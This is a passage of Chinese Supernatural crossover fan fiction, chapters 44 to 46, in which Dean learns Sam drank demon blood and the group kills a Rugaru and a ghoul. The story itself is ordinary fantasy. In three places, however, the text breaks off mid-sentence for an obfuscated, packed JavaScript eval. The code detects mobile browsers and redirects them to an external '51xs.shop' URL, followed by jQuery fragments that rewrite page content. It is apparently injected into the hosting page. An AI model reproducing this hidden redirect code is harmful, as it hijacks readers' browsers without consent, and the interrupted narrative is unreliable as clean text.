他马上抓住了萨姆的脸，左右看着——见面孔和口腔都没有明显伤口，他便紧张了起来，“那东西打到你哪了？内脏？” 显然，他并不觉得这是恶魔血——有费德的遮挡，迪恩没有在第一时间看到萨姆饮血的举动，所以他的第一反应，是萨姆吐了血。 猎人经年累月的经验之中，除却口腔受损之外，吐血通常意味着内脏受伤，是相当危险的状况。 罗德瞧着迪恩和萨姆不同种类紧张的模样，不由“咯咯”一笑，恶魔的气息在她的感知中相当清晰——尤其是，这个气息和不久前浴室里隐约存在的那个，正相仿。 “那哪里是他吐的血啊……那分明，是恶魔血才对。” 44.第 44 章 44 迪恩·温彻斯特脑袋一空，有一瞬间仿佛丧失了对语言的理解能力。 “恶魔之血？” 他有些不可置信地重复了一次，视线一点点挪动到了萨姆躲闪的视线上，“什么叫，‘恶魔之血’？” 这种紧急情况下的急变，完全超出了萨姆的预想。 他准备的说辞在此刻派不上任何用场。 迪恩不是个傻子，相反，他的敏锐远超外人对他的认知。 特别是当某件事涉及他弟弟的时候。 萨姆对这一点深有体会，所以，此时的他甚至不敢回视迪恩的眼神。 “如果你想问字面意思的话——”罗德故意插嘴开口。 “我知道是什么意思，我也不是在问你！”迪恩的眼睛定定地看在萨姆身上，“萨米，看着我的眼睛，然后回答我。” 躲是躲不过的。 萨姆用力地闭了闭眼睛，深吸了一口气，正要开口之际，约翰逊却骤然打断了他们。 “他还活着！嘿，他还活着！” 约翰逊没时间顾及那个被罗德关在骰子里的怪物——即使那个怪物是一张他无比熟悉的脸；也没时间拼凑自己碎裂的世界观——即使连环杀手和吃人怪物之间天差地别，他还是第一时间就扑向了那个被啃食的身体，“他还在呼吸，我们得赶紧把他送到医院！” 虚弱的受害者艰难地喘息着，脑后的伤口和歪曲的身体都来源于怪物那最后一甩。 那空洞的眼神让人看不出他究竟是否还有意识，但嗓子里本能发出的呼救音却一直没有停过。 约翰逊用地下室存放的衣物压住了腹部的伤口，尽量减缓血液奔涌离体的速度。 “这件事可没完。”迪恩恶狠狠的声音之下，带着不易察觉的恐惧。他对恶魔血的反应太快了些，甚至连装血的瓶子都没有注意到，便已经在心里下了饮血结论。 萨姆心里忐忑，但眼下他们有更紧急的事要做，转头便赶紧回酒店房间里找紧急医疗箱。 受害者的身体极端虚弱，他很难坚持到医院，需要紧急处理。 “需要我的「门」吗？” 罗德捡起了那个血瓶，她并不是很在乎饮血的问题。驱魔师的能力总是千变万化，寄生型的「圣洁」能力总是跟着宿主的变化而变化，她也不是没有见过“吸血鬼”类的驱魔师。 她在意的点是恶魔本身。 她把瓶口放在鼻下嗅了嗅，恶魔的味道非常新鲜，这意味着血液很新。 萨姆一定才刚刚得到它不久。 那就是说，这附近果然有恶魔潜藏，甚至还和萨姆直接接触过。 罗德暗自皱眉，难道是暗伤影响了她的感知力吗，她竟没有丝毫察觉。 “不能直接开在医院里，我还得给他找个受伤的理由，”约翰逊自认是个大心脏的警探，连他一时都很难接受这种超自然问题，其他人就能难说，他不能在自己的片儿区制造恐慌，“也许……特里？就是肖特医生——他和我一样，一直怀疑医院血样失踪有问题，他因为这件事报了几次警。他是个好医生，也许他可以帮我们。” 约翰逊赶紧让萨姆接手了自己手上的工作——压住受害者的伤口——自己染血的手赶紧摸出手机来。 “肖特医生……特里·肖特？他就是护士说的那个医生。” 迪恩听到这个熟悉的名字，很快就反应了过来，“他就在检验科内部工作。” 约翰逊完全没有领会到迪恩的言外之意，一边在通讯录里寻找肖特的名字，一边解释着，“特里是半年之前才被调到检验科室去的，他的外科技术……” “等等！半年之前？”萨姆把压力绷带缠在伤者的身上，“那不就是——医院里绝对还有一个怪物，一个能直接接触到每一份血液样本的人。比起抽血的护士，我认为本科室医生的可能性更大。” 约翰逊已经调出来电话号码的手停了下来，“那认为，那会是特里吗？你认为他也是这种怪物？不，他是土生土长的本地人，我们从小就在一起上学，我知道他，不可能是他！” 罗德放下血瓶，走到困住了费德的骰子面前，一只手穿过骰壁，按在了费德的头上。 “在此之前，你有想过费德会是这种怪物吗？”迪恩快速清理了受害者的头部创伤，那一下撞得太狠，角落突起的木刺在其额头上撕开了一大条口子，他需要紧急缝合，“他也是你认识的人，对吧？” “是——费德他，是资料室的管理员。” 这个职位不高，但却非常关键，即使有一些异常报告，他也有机会篡改。 如今回想，约翰逊才后知后觉，这个管理员确实有意无意地和他聊起过关于他侄子的死亡和医院血样丢失的案情进展，“但，特里不一样，他是最先报警的人，也是在血样失窃事件不了了之后，一直想要追本溯源的人。他一直启发我——” “嘘！” 迪恩打断了约翰逊，“你们听——” 地下室一安静，楼上的声音就清晰了起来。 “马克？马克你在家吗？” 马克正是约翰逊警探的名字。 “那是特里的声音！他今天一大早就打电话来和我说过血液失窃的事，我想他是来确认的。” 把医院内部的问题实时通报给院外的人是违规行为，即使约翰逊是警探也不能成为医院内部规章制度的特例。但特里即使冒了风险也愿意帮约翰逊警探，这也是约翰逊非常相信他的原因之一，“他是唯一的希望，再没有帮助，他就要死了。” 说罢，约翰逊就冲上了楼。 迪恩紧随其后，如果特里·肖特医生就是费德的搭档，约翰逊一个人贸然前往就是必死无疑。 萨姆专心眼前的问题，一定程度的外科实践是每个猎人的必修课。他们有太多的伤无法展露于人前，也很难支付医院高额的账单。 他们在酒店内的反应很快，怪物没有来得及吃下去多少。费德也显然极享受人类肌肉的口感，他选择的人也多偏向于体脂更低、肌肉更丰富的男性。 腹部是他的最爱。 所以，咬痕实际上并没有，真的进入腹腔。 外伤看上去危险，但却并不致命。 真正麻烦的，不在腹部，而在头颅——在撞击可能带来的脑震荡和内伤上。 “谁的血？” 罗德转过身来，指向性明确，“那是谁的血？” “……她一个恶魔。”萨姆心烦意乱，“我知道我不应该，但我没有选择，我不能看着迪恩去死！” 罗德一挑眉，“我对你的忏悔没有任何兴趣，我要知道你什么时候拿到的？我要知道她的名字和位置。” 告诉罗德一个恶魔的名字和位置，和死亡通知没有任何区别。 萨姆不能在这个时候出卖露比，他只是据理力争，“她不邪恶，她只是想要帮我。” “我看起来像是在乎恶魔的好坏的样子吗？”罗德向前一步，她从不讨论某件事的好坏，在她看来，世间的一切都只在立场。 她不喜欢属于自己的东西被其他人指染，尤其是被恶魔，“我提出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13482164|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了一个问题，你要回答我。” 萨姆却抬头，眼眶内布满了血丝，瞳孔有些不正常地发红，声音却很固执，“不。” 不等罗德说些什么，一连串的脚步声从头顶传来。萨姆抿住嘴，马上低下头，中止了这个话题。 罗德不是最好的逼迫萨姆的人选，她在想，利用迪恩来做这件事，大概会更好。 而且在这件事上，只要几句话就足以刺激迪恩。 恶魔们的判断没有错，他们兄弟俩一直都是彼此的弱点。 这个弱点的范围运用可以很广，而且非常有效。 但，她看着萨姆弯曲的脊背，准备好的话却突然哽在了嗓子里。 奇怪，她不应该有这种犹豫才对的。 迪恩感受到了罗德的灼灼视线，有些不自在地开口，“有什么问题吗？” 萨姆的后背明显紧张了起来。 “……不，”罗德撇开头，视线转移，看向了和迪恩、约翰逊一起下了地下室的新面孔，“这就是你们说的可以处理眼下状况的医生？” “没错，特里是个好医生。”约翰逊赶紧招呼特里到伤者的面前，“特里，这就是我和你说的情况，你得想想办法，要怎么把他送到医院去？” 特里医生看上去有些失神——或者说是状况外。比起伤者，那个被关在骰子里的人显然更吸引他。 这倒也不能怪他，悬浮在空中的骰子、怪物尖锐的牙齿和扭曲的五官着实更有噱头。 “特里？”约翰逊叫了一声。 “额——嗯，让我看看。”特里接手了萨姆的工作，开始履行自己的本职。 迪恩将银刀收回去，他显然给特里·肖特做了简单的测试，但鉴于怪物本身对他们来说仍是个谜，他仍然不敢放松警惕。 他直觉的警报依然时刻吊着他，那种心脏狂跳的危险感并没有消失。迪恩只是不确定，这种感觉是来源于对现状的预判，还是对萨姆状态的担忧。 “我得先弄清楚这个费德是什么东西，然后才能找出来杀他的办法。” 迪恩从「门」的另一边，将约翰的笔记拿了过来。 这次的调查时间太短，而复数种类的怪物指向性范围又太广，确实很难判断。 “嘿！你不能拆开缝合线，即使我的缝合并不好看。”萨姆抓住了肖特的手，“肖特医生？” 特里如梦方醒，抑制不住地探究，“抱歉，我有点分神——那到底是什么，他穿着警察的衣服。” “我们并不确定，”萨姆摇头，“我们一开始认为是食尸鬼，但他的头砍不下来。” 特里·肖特无意识地低声喃喃，“太硬了确实很难砍下来。” “洛格鲁，是洛格鲁。”罗德歪着头，插话的声音重叠在一起，恰好压过了特里，“虽然我不知道“洛格鲁”究是什么。” 她以前真该多关注一眼那些夏娃的子民，“他对自己好像也没那么了解，我都已经给他做出这种细腻的「梦」了，他还是不说，那就是他自己也不知道该怎么杀死自己。” 真烦，不如直接丢到地狱里去、 罗德有时候真把那里当作一个回收厂，什么不喜欢的东西都要丢进去。 “洛格鲁……我好像在哪里听到过这个名字。”迪恩在记忆当中仔细翻找着，“崔维斯，我记得密苏里州有个叫崔斯坦的猎人，好像猎杀过这种东西！” 他说着便掏出手机，虽然他手机上的通讯录有限，但鲍比一定能够联系到崔维斯。或者，只要给出怪物的名字，鲍比说不定也知道应对方法。 45.第 45 章 45 洛格鲁—— 外形大小与人类一般无二，但它们以人肉为食，力量强大、行动敏捷、五感灵敏，几乎可以说是刀枪不入。 更可怕的是，这个刀枪不入的怪物，还有一个未知的同伙。 罗德不以为然，“刚才是我分心了，只要再有一点时间，我很快就能从他的「梦」里，问到我想要的答案了……没·有·人，能阻止我寻找答案。” 她在「梦」中搜刮着费德的记忆，可说话间，眼睛却是看着萨姆，仿佛另有针对性。 不论他在为谁遮掩，罗德都有办法找出真相。 萨姆听出了言外之意，没有抬头的身体却也显然一僵。 不需要钻进他的脑子里，罗德都知道，他已经在思考应对之法——或是提前通知那个恶魔，或是想办法说服罗德。 可不论哪一种方法，都不算上策。 罗德的“意有所指”显然不仅是对萨姆有威胁效果，心里有鬼的人，根本不敢去窥探她的视线，只会对号入座。 变故只在一瞬间。 肖特医生毫无征兆地暴起，他抓起气息微弱的伤者一甩，如同使着流星锤一般——距离他最近的萨姆和约翰逊被这个“武器”正中胸口，完全没有反应的时间，就已经撞在了墙角。 罗德甚至听到了清脆的骨响。 只是不知道，是那“流星锤”的骨，还是被“流星锤”的骨。 巨大的冲击在天旋地转之间，夺走了萨姆和约翰逊的反应能力，连带着意识也模糊起来。 变故的瞬间，迪恩的电话才刚接通，电话那边的鲍比甚至连一点声音都没来得及发出，就率先听到了电话这边的巨响。 再抬头，肖特就几乎已经近到了身侧，他的动作没有一点迟滞，直勾勾地就冲向了罗德。 或许在肖特的眼里，罗德要比迪恩好处理得多。 电光石火之间，迪恩几乎来不及思考，一把抓起罗德的后领，让肖特扑了个空。不论罗德的真身是什么，怪物的未知性依然有可能带来伤害。 但罗德自己却在身体的晃动中感到意外，已经做好准备的手不自觉地放了下去。 她倒是没有想到，迪恩第一反应竟然是把她拉开。 肖特一击扑空，但速度之快让他无法刹车，只能重重撞在墙上，给约翰逊警探的地下室留下了一个人形的壁坑。 “……这家伙好硬的身体。”罗德谈了探头。 “不，没有刚才那家伙硬。”迪恩更加丰富的经验迅速意识到了差异，“那家伙的手被撞伤了。” 不仅如此，如果是刚才的洛格鲁，这面墙一定撑不住。 那可是子弹和斧头都留不下伤痕的钢筋铁骨。 结合一切线索，怪物的答案似乎已经摆在了迪恩面前。 肖特转过身来，在撞击之下，他的脸皮被划破了一半，锁骨到胸口的衣服也被碎裂的墙壁边缘划开，红色的血液从伤口中渗出。 他的怪物特质跟着进一步展现，茂密的头发变得稀疏，皮肤像是被抽到了水分一样干枯。但与之相对的，他的怪物特质下，伤口也开始快速愈合。 熟悉的感觉让罗德眼睛一亮，“是死气……迪恩，这就是刚才在外面偷听的家伙！” “那就是食尸鬼了！” 迪恩判断的最后一块拼图被罗德拼上，他下意识地从后腰摸枪却摸了个空，这才想起，刚才的混战中，枪在约翰逊的手里！ 肖特却不给人任何反应的机会，完全不再压抑食尸鬼的性质之后，冲上去的速度几乎只留下了一段残影。 但迪恩非常清楚，不论速度有多快，他的目的地都只有一个。 就是他们俩！ 他带着罗德超侧面一扑，堪堪错开了肖特带着腥味的牙齿，罗德的火烛一排飞刺，灼烧在食尸鬼的身上，引起了一阵痛呼尖叫。 进而一秒，食尸鬼又撞在了另一面墙上。 这么小的房间，食尸鬼高速下的难以刹车，反而成了一个破绽。 食尸鬼不像洛格鲁，迪恩有经验。 他将罗德向后一推，一手抄起地上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13617023|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那被费德坚硬身体顶出豁口的斧头，不退反进、冲向了肖特。 从壁洞中抽身的食尸鬼也是铁了心要杀死眼前的猎人，他和猎人绝不可能善了，只能选择先下手为强。即使有洛格鲁费德的前车之鉴，但他那骨子里对人类的蔑视，也让他依然想要直接撕开迪恩。 那可是他也喜欢的肉质口味。 迪恩在接近的一瞬间矮倒，错开肖特尖锐的手指，从他的右侧闪身，趁着肖特前冲惯性的几秒空档，他挥斧向上，正中头颅。 豁口的斧头不够锋利，一击之下根本无法斩掉肖特的头颅，反倒是进一步激发了他的求生本能。 罗德此时眼中金光一闪，方形的骰壁一落，正好挡住了食尸鬼打向迪恩的拳头。 迪恩也没有放过这个机会，斧头有豁口也没关系，把它当作一个钝器来使用却是够了。胸口那股因为恶魔血而翻涌的无名之火急需一个宣泄口，他抬起手，一斧又一斧地砸在他头上，直到血肉模糊。 “这就算是……死了吗？”罗德有些嫌弃地看着溅到了她小皮鞋上的碎肉骨屑，肖特的身上原本就尽是死气，故而她一时竟无法判断眼前怪物的生死。 迪恩擦掉脸上的血，非常肯定道：“食尸鬼的头是弱点。” 都已经被砸成这般模样，铁定是活不下来了。 迪恩没有再多浪费时间在肖特身上，抬脚就赶紧冲向了墙角，那里昏死的萨姆和约翰逊还不知死活。 还是罗德想起了那个被丢在地面的手机，通话的计时还在增长，那边的鲍比惊慌大吼着迪恩的名字，但那声音从听筒中传来，却显得微不可闻。 “Hello，亲爱的鲍比。”罗德的手机放在嘴边，不去让那尖锐的声音折磨自己的耳朵，自顾自地开口，“大忙人迪恩刚和垂涎他美色的医生先生谈了分手呢，现在是可爱的罗德在线上。” 肖特医生，一款舍己为人的伟大食尸鬼，不仅用自己的生命让迪恩发泄了一下怒火，还同时用打伤萨姆的方式，让迪恩动了恻隐之心，暂时放过了恶魔之血的问题。 46.第 46 章 46 正如一切刻板印象，鲍比还真是个超自然百科全书。 一听洛格鲁这个名字，他便马上有了反应，迅速便锁定了一本手记，将关键提炼出来。 “火？”罗德一手握着手机，另一手一打响指。 顿时，火烛穿过困住费德的骰子，和先前的定点攻击不同，火烛的烛身完全成了火焰的燃料，封闭的空间直接把骰子变成了焚尸的火炉，将费德的惨叫关在其中。 “还真有效啊——以前千年公总说，火焰是上帝净化黑暗的手段，所以地狱的惩罚之地才会满是烈火。”罗德看着骰壁上留下的黑色身体印记，挣扎反抗的动作都被记录下来，她有些失神地自语，“一切的黑暗都由烈焰焚烧，天使们的本体也是那般模样……” 她抬起一根指头，指尖亮起一抹红红的火光，温暖的触觉顺着焰身在她的手指间蔓延开来，她嗤笑出声，“呵——就连我们，也是他的帮凶……” 罗德闭上眼睛，用力攥紧了火苗，将那点温暖熄灭在掌心。 长舒一口气，她很快把状态调整回来，也不管电话那边的鲍比还在尝试了解更多的现状，直接结束了通话。 墙角处，迪恩已经将萨姆抱了起来，后者肉眼可见的无力，通红的脸蛋仿佛是沸水烫过一样，紧闭的双眼在迪恩的这般动作下都无法睁开*。 在重击后失去意识相当危险，尤其是食尸鬼求生心理下那毫无保留的力量。 必须马上去医院检查。 约翰逊警官更幸运些，或许是因为萨姆垫在他背后，故而他除了身上的酸痛外，只觉得有些眩晕，却并不影响行动。 “我得跟你一起去，我的证件在身上，医院的人也都认识我。” 否则，就迪恩这爆头食尸鬼所溅的一身血，该如何解释？ 迪恩点头，此时，他决不能再因为“可疑”而被拖入警局了。 只是，还不等他和约翰逊行动，罗德就出声叫住了他，“去医院没用的，他不是因为外伤昏迷。” 只一句话，就将迪恩停下了脚步，“什么意思？” “迪恩，你说你何必自欺欺人呢，难道你会想不到？”罗德一眼就看穿了迪恩对地狱问题的下意识逃避。 “……恶魔之血。” 这个答案早就印在了迪恩的大脑之中。 “人类的身体对恶魔之血当然存在排异性。”罗德眼睛一扫迪恩的大臂，那上面的天使印记持续带来灼烧感就是排异性的体现。 天使的力量尚且如此，恶魔之力的负面效果，自更不必说。 迪恩的大脑恍惚，无端地浮现出一件被压在记忆最底部的事。 幼年突变，在那场大火将温彻斯特的家毁于一旦的当晚，只有六个月的萨姆就发起了高烧。 那是他不算清晰的幼年记忆中，恐惧的巅峰。 医生只说是受到惊吓，父亲则认为是怪物作祟，可不论是医学治疗、药物退烧，还是将《圣经》压在枕边的玄学净化、甚至是偷偷藏入教堂，都毫无作用。 彼时，约翰还未被密苏里启迪，只是莽撞、愤怒、执拗地想要寻找一个真相。 现在的迪恩当然可以理解那时的约翰。 可当时的迪恩却只有恐惧，温柔的母亲被大火吞噬、坚毅的父亲被仇恨充斥，连弟弟都因为高烧而被死神抱在怀中。 他在短短一天——甚至是几个小时内，经历了人生断崖式的下跌。 或许是身体机制的自我保护，那时的记忆后来也变得模糊，只有那种恐惧深深地印在了大脑里，让后来的迪恩难以抑制地过度保护。 但此刻，当他触碰到萨姆皮肤的瞬间，怀中的重量仿佛和过去的某个时刻重叠，激起了那段记忆。 在很久很久之前，萨姆就已经有过如此经历。 可迪恩却无法细想这猛然回溯的记忆，只是潜意识里多了些不可抑制的猜测。 猜测不可言，但某个结论却成了海中一浮木——若真有前事，那不是说明，萨姆身体当中，应该有一份对抗排异的“抗体”！ 迪恩拼命地用这一点安慰自己，但被“怀抱”和“高烧”引出记忆却让迪恩不可自控地应激。 罗德将那个装过恶魔血的瓶子捡起来，放在鼻子下面一晃，味道清晰地穿过瓶口那被捏出裂纹印记，飘了出来，“别的不说，若真是能承受恶魔之血，这点撞击伤自然不被放在眼里，很快就会自愈。去人类的医院是没效果的，放到床上去，我亲自看看。” 在这方面，比起医院，自然是罗德更加可信。 更何况，迪恩也没有多少选择。 约翰逊一头雾水，刚刚被震碎的三观中，陡然又被用力塞入了恶魔的概念。 如果不是刚刚的亲身经历，他一定会把说出这段对话的罗德和迪恩当成是神经病。 但此时，他却不敢插话。 尤其是不敢在脸上还留着怪物血痕、一脸凝重——甚至狰狞的迪恩旁边插无意义的话。 “所以这种发热，是受恶魔血影响……”迪恩将萨姆放在床上，看着酒店柔软的床垫下陷，仿佛过去那张婴儿床，将他包裹其中。 萨姆紧皱着眉，一点也没有恢复意识的迹象，可嘴巴却开开合合，似乎在呢喃着什么。 可靠近一听，一切却又不甚清晰。 “能把血弄出来吗？”迪恩大概是想起了吸血鬼之血的前事。 只可惜萨姆的身体是自己的身体，玩不了玩偶那一套。 但，也不是无计可施。 罗德坐在床沿边上，手指从萨姆的额头向下滑到锁骨，指尖轻轻一划，就撕裂了他的衣服。 此时，众人才发现，萨姆胸口的温度，可比脸上要高多了，甚至达到了字面意义的“烫”。 这已经完全不是人类能够承受的范畴了。 但，和迪恩的焦虑恐惧不同，罗德心里有数。 她大概知道，这个惊人温度的来由。 暗色的手掌放在萨姆胸口，一旁的约翰逊用力揉眼，不知是该怀疑自己的眼睛、还是该怀疑自己的记忆。 他明明记得，这个女孩儿的肤色…… “他的体质果然……”罗德咧嘴一笑，乘虚而入可不只是恶魔的特权。在萨姆这种被恶魔之血浸染的虚弱时刻，她的力量幽幽流入他的胸口，沿着那颗跳动的心脏，深入他灵魂之中，将连接拉得更加紧密。 她需要通过特殊的灵魂来滋养自己受伤的身体，萨姆那被黑暗浸染，却又向光明挣扎的灵魂，实在是太好用了。 猛然，罗德瞳孔一震。 迪恩马上感觉到了她的表情变化，当即开口，“ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13673086|133764||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怎么了，是有什么问题？” “他身体对恶魔血适应性未免也太好了，这才几分钟，那些恶魔血已经完全消化掉了？”罗德一时愣神，手下的萨姆因为他的动作而无意识地抽动、干呕，但恶魔血已经融入体内，根本没有在这种运作下吐出来。 罗德不可置信，“且不说人类的身体本就很难吸收恶魔血的力量，直饮恶魔血的死亡率绝对也在九成九以上。更别提如此可怕的消化速度，就算是恶魔自己的群体也很难做到——还有这症状……” 她已经察觉，萨姆的身体温度在回落。 这就说明，那短暂的排异已经结束，剩下的温度只是恶魔血治愈外伤的一点肉｜体反应而已。 这就已经完全吸收掉了？ “绝不会是第一次，”罗德马上就有了结论，她从装恶魔血的瓶口捻起了一抹红，轻轻摩挲，“倒未必是这个血。” 藏在萨姆体内，那和他深深联系在一起、铺垫了他适应性的恶魔之血，并非来自罗德手中的血瓶，“但无疑，这是一种‘力量’。” 看着那个瓶子，迪恩脑中的某根弦突然被拉紧。 “露比？”他想起来了，在他被拖入地狱之前，在抢夺露比的恶魔刀之时，对方就曾提及，萨姆拥有和莉莉丝匹敌的力量。当时的萨姆也确实明确和他表示过兴趣，只是被他更加强硬的态度压了下去。 可若是他死了，若是萨姆处于极度绝望之中，露比的分量就会逐渐占据上风。 迪恩能理解那种绝望，在萨姆被捅穿脊柱死亡之时，他就体会过一次——如遇海中浮木，哪怕知道这根浮木上尽是陷阱，也非得抓住不可。 “我可没听过这个名字，恶魔的名字吗？”罗德歪头，后来也再未窥探过更多萨姆的记忆，自然对这个并不出名的恶魔感到陌生，“我可以确定的是，他对恶魔之血的适应性不是这一两天的事，甚至不是一两年——想要顺畅到这个地步，几乎从幼体开始完全伴随他成长，才会如此根深，几乎成了他身体的一部分。” 幼体、成长、和恶魔有关的特殊能力—— 所有的关键词在迪恩脑中组合，只留下一个答案，“黄眼恶魔！” 黄眼恶魔阿扎泽尔。 萨姆对恶魔血的适应性，只可能来自他。 “但是，他已经死了，我亲自动的手，用柯尔特枪正中心脏，觉悟生还可能。”迪恩永远不会忘记。 他们一家一切颠沛流离的起源，在那天终结。 “恶魔血的效果可不需要活体恶魔，血液一旦生效，就成了一种不受恶魔本尊控制的机制。”罗德对这一点颇有认识。 话音刚落，头顶的灯突然闪烁起来，窗外原本就不算明媚的天气变得更加阴沉，隐隐的雷声仿佛从高空压下，和酒店都拉近了距离。 约翰逊呼出一口气，白雾肉眼可见地逸散着，如冬的温度穿过房门、越过衣服，刺在了他的皮肤上，“好冷——怎么突然这么冷？” 约翰逊不知缘由，但迪恩却熟悉极了。 若有若无的硫磺味道钻入鼻腔，迪恩迅速从警探手里拿回了自己的「圣洁」枪，接着便抓起床头上备好的圣水，一瓶藏在腰后，一瓶丢给警探。 “拿好圣水，”迪恩挥手示意警探后退，自己的枪则对准房门，手指扣在扳机上，“是恶魔。”